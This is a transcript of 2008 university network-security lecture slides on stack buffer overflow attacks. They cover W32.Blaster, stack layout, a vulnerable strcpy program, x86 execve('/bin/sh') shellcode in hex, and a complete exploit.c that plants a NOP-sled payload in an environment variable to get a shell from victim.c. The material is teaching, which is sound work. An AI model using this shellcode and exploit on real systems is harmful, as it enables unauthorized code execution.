1 / 72

Prof. Reuven Aviv

King Mongkut’s University of Technology Faculty of Information Technology Network Security Winter 2008. Prof. Reuven Aviv. Buffer Overflow Attacks. Prelude. W32.Blaster revisited.

bian
Télécharger la présentation

Prof. Reuven Aviv

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. King Mongkut’s University of TechnologyFaculty of Information TechnologyNetwork SecurityWinter 2008 Prof. Reuven Aviv Buffer Overflow Attacks Buffer Overflow

  2. Prelude W32.Blaster revisited Buffer Overflow

  3. “W32.Blaster scans networks looking for computers that are vulnerable to the Microsoft RPC Buffer Overflow. To infect vulnerable machines, the worm connects to port 135/TCP and opens a command shell that listens on port 4444/TCP. It then opens a Trivial FTP server on port 69/UDP on the target machine. Using the command shell, the worm instructs the target machine to download its payload via the Trivial FTP server. The command shell is used to execute the downloaded file”. Buffer Overflow

  4. W32.Blaster infects EPM process • End Point Mapper process – very important • EPM Process listens on port 135 • RPC servers register name & port on EPM • RPC clients requests the info from EPM • EPM includes GetMachineName(…) function • extracts a name from a longer string • puts it in local buffer (in stack) • didn’t check for length of supplied name • In reality, it was a long malicious string • A shell!.. that eventually runs instead of EPM Buffer Overflow

  5. contents • 1. The Stack • 2. Flooding the stack in your own program • 3. Making your program execute a bad code by flooding it into the stack • 4. Buffer overflow attack of another process • Appendices • 1. The basic shellcode • 2. port binding shellcode Buffer Overflow

  6. 1. The Stack Buffer Overflow

  7. Process Memory Organization HiAddr return address of function Stack Variables Stack Heap Code Buffer Overflow LoAddr

  8. 2. Flooding the stack in your own program Buffer Overflow

  9. Flooding a buffer: flow1.c void function(char *str) { char buffer[8]; strcpy(buffer, str); } what’s the problem here? void main() { char large_string[256]; int i; for( i = 0; i < 255; i++) large_string[i] = 'A'; function(large_string); } what will happen? Buffer Overflow

  10. Arguments & Local variables pushed to stack RET Address Of function() buffer Buffer Overflow

  11. strcopy() starts executing RET Address Of function() Arguments & local Variables Of strcopy Not drawn buffer Buffer Overflow

  12. Strcopy is executed HiAddr RET Address Of function LoAddr Buffer Overflow

  13. strcopy is executing: buffer is full HiAddr RET Address Of function LoAddr Buffer Overflow

  14. strcopy is executing: Buffer Overflows RET Address Of function Buffer Overflow

  15. Buffer Overflows RET Address Of function Buffer Overflow

  16. Buffer Overflows RET Address Of function Buffer Overflow

  17. HiAddr LoAddr function() returns to address out of memory space RET Address Of function Buffer Overflow

  18. Compile & run the self flooding program OSPrompt /* waiting for my command OSPrompt gcc –o flow1 flow1.c /* compiling OSPrompt ./flow1 /* running the program “Segmentation fault” /*The OS announce failure OSPrompt/* back to the prompt Buffer Overflow

  19. 3. Making your program execute a bad codeby flooding it into the stack Buffer Overflow

  20. Injecting a bad code to the stack • Inject a bad code into the memory space of the process, and • set the return address to point back to the code Stack Bad Code Heap Code Buffer Overflow

  21. Injecting a bad code to our program Bad Code Bad Code Buffer Overflow

  22. How a bad code is constructed (briefly) char shellcode [ ] = “ about 100 chars “ ; an array. In binary it is the injected bad code This code for example will spawn a shell (shellcode) A program that waits for a command It modifies itself. It has to be in DATA segment, so that your compiler will not know it is a code Char shellcode [] = /* injected code 45 bytes*/ “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b” “\x89\xf3\xbd\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd” “\x80\xe8\xdc\xff\xff\xff\/bin/sh” Buffer Overflow

  23. Overflowing buffer with shellcode: flow2.c char shellcode[]="\xeb\x1f\….\xb0\x0b\xff/bin/sh";45 bytes char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; /*fill large_string array with address of buffer*/ for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; first 45 bytes with shellcode strcpy(buffer, large_string); } flood local buffer Buffer Overflow

  24. We want to go from here RET Addr. Of main() Stack Data Code Buffer Overflow

  25. To here: When main() returns, a shell starts RET Addr. Of main() DATA Buffer Overflow

  26. Initializing large_string with addresses Of buffer RET Addr. Of main() Stack Data Code Buffer Overflow

  27. copy first 45 bytes of large_string with shellcode RET Addr. Of main() Stack Data Code Buffer Overflow

  28. Copy large_string to smaller buffer in stack RET Addr. Of main() Stack Data Code Buffer Overflow

  29. Overflow writes address of shellcode to RET RET Addr. Of main() Stack Data Code Buffer Overflow

  30. When main() returns, a shell starts RET Addr. Of main() DATA Buffer Overflow

  31. Overflowing Buffer with shellcode: flow2.c char shellcode[]="\xeb\x1f\….\xb0\x0b\xff/bin/sh";45 bytes char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; /*fill large_string array with address of buffer*/ for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i]; first 45 bytes with shellcode strcpy(buffer, large_string); } flood local buffer Buffer Overflow

  32. Compile an run your program • OSPrompt/* OS waiting to my command • OSpromptgcc – o flow2 flow.c/* compile • OSPrompt ./flow2 /* run the program • $ /* prompt of the bad code */ • $ exit /* I command the bad code to exit • OSPrompt/* OS waiting to my command Buffer Overflow

  33. 4. Buffer overflow attack ofanother processAttacking Program: exploit.cAttacked Program: victim.c Buffer Overflow

  34. Buffer overflow Attack: Overflowing another (victim) process • Passing payload (shellcode+) from the attacking (exploit) process to victim process: • via standard input, network, environ var, pipe… • Assume victim code has a vulnerable function func that overflows its local buffer with the payload • How exploit knows where on the stack of victim is the location of RET of func? • What is the shellcode address that we write there? Buffer Overflow

  35. Overcoming our ignorance of the location of RET address of func and address of shellcode SP • find SP (Stack Pointer) in exploit • guess offset • addr = SP - offset • payload: • addr, addr, … • Shellcode • NOP, NOP, … Payload: addr, add, addr, addr, addr, addr, addr, addr, addr…. Shellcode instructions Shellcode instructions NOP, NOP, NOP, NOP, NOP, NOP,… ret address of func offset Overflow Local buffer addr Vulnerable function() IP Buffer Overflow

  36. The victim program: victim.c • void main (intargc, char *argv[]) { • char buffer [512] /* the local buffer • if argc > 1 strcpy (buffer, argv[1]) ; • } • /*The vulnerable function funcis here strcpy() • /* the argument to victim will have the payload Buffer Overflow

  37. The attacking program: exploit.c /* exploit gets two CL args: buffer size and offset. It puts payload in environment variable EGG */ #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[]="\xeb\x1f\.........\x0b\xff/bin/sh"; 45B unsigned long get_sp(void) { return current SP __asm__(“movel %esp, %eax); } Buffer Overflow

  38. void main( int argc, *char argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset = DEFAULT_OFFSET; int bsize = DEFAULT_BUFFER_SIZE; int i; if (argc >1 ) bsize = atoi(argv[1]); if argc > 2 offset = atoi(argv[2]); if (!(buff = malloc(bsize))) {printf (“no memory\n”);exit(0)} addr = get_sp() – offset; printf (“Using address: 0x%x\n”, addr); Buffer Overflow

  39. ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i += 4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) – strlen(shellcode)/2)); for (i= 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff [bsize -1] = \0; memcpy (buff, “EGG=“, 4); putenv(buff); system(“/bin/bash”); /* } /* end exploit.c */ EGG=NOP NOP…Shellcode … addr addr addr… Buffer Overflow

  40. Run the two programs MyPrompt ./exploit 612 run exploit guess offset Using address: 0xbffffdb4 /* exploit anaounce MyPrompt ./victim $EGG /* run victim /* victim gets payload in an environment variable EGG*/ $ /* prompt from victim at exploit machine, waiting for command Buffer Overflow

  41. Appendices:1. The basic shellcode2. Port Binding Shell code Buffer Overflow

  42. Appendix 1: The basic shellcode Buffer Overflow

  43. Strategy to build bad code • 1. Write a bad code in C. Usually it spawns a shell • Basically this is execve(/bin/sh, …) • 2. Compile to assembly code • 3. get machine code (in hex) • 4. copy machine code in hex into the shellcode array • Several modifications along the way • Addresses (e.g. of /bin/sh) problem • \0 problem Buffer Overflow

  44. Step 1: Spawning a Shell – in C #include <stdio.h> #include <stdlib.h> void main() { char *name[2]; /* array of two pointers*/ name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } /* name is a pointer to array of two pointers */ Buffer Overflow

  45. Assembler for main() (Procedure prelude) 0x8000130 pushl %ebp save current FP on stack 0x8000131 movl %esp, %ebp new FP := SP 0x8000133 subl $0x8, %esp move SP 8 bytes (Space for local var – 2 pointers: char *name [2] ) All addresses of variables are relative to FP (%ebp) Preparing data structures for exec on the stack 0x8000136 movl $0x80027b8, 0xfffffff8(%ebp) (copyaddress of /bin/shinto first element of name[]) (name[0] = “/bin/sh”;) 0x800013d movl $0x0, 0xfffffffc(%ebp) (copy 0 (NULL) to second element of name[]) Buffer Overflow

  46. calling execve from main() (Pushing 3 arguments of execve - start from third) 0x8000144 pushl $0x0 the NULL argument 0x8000146 leal 0xfffffff8(%ebp), %eax (copy address of array, i.e. (ebp)-8, to eax) 0x8000149 pushl %eax now push it to stack 0x800014a movl 0xfffffff8(%ebp), %eax (copy address of /bin/sh, which is in (ebp)-8, to eax) 0x800014d pushl %eax now push it to stack 0x800014e call0x80002bc call execve (call will push IP – the return address – to stack) Buffer Overflow

  47. main() after execve returned 0x8000153 addl $0xc, %esp SP goes down by 12 (free the stack from the three arguments of exceve) 0x8000156 movl %ebp, %esp (make SP points to saved FP, just above the RET) 0x8000158 popl %ebp recover saved FP (now SP points to the RET address) 0x8000159 ret (ret will pop RET address, pointed to by SP, into IP) Buffer Overflow

  48. execve assembly code Note: Syscalls in Linux need arguments in registers (procedure prelude) 0x80002bc pushl %ebp save current FP on stack 0x80002bd movl %esp, %ebp new FP:= SP (ebp, frame pointer, now points to top of stack, above the end of the three pointer arguments prepared for exceve. The arguments are at offsets 8, 12, 16 0x80002bf pushl %ebx (We need the use of this register, so save it) Buffer Overflow

  49. execve assembly code (2) 0x80002c0 movl $0xb, %eax put 11 in eax (11 is the Syscall ID of execve) 0x80002c5 movl 0x8(%ebp), %ebx 0x80002c8 movl 0xc(%ebp), %ecx 0x80002cb movl 0x10 (%ebp), %edx (copy three arguments from stack to registers) 0x80002ce int 0x80 (Software interrupt – execute the Syscall) Buffer Overflow

  50. Summary - to run execve we need to: • Have a Null terminated String /bin/sh in memory • Have address of the String /bin/sh in memory • Have a NULL address (long) after that • Together this is the two pointers array • Copy Syscall ID of execve (11 = oxb) to eax • Copy address of the String /bin/sh to ebx (1’st arg) • Copy addr. of the address of the String to ecx • 2’nd arg - the address of the two pointers array • Copy address of the NULL to edx - third arg • Execute int 0x80 Buffer Overflow

More Related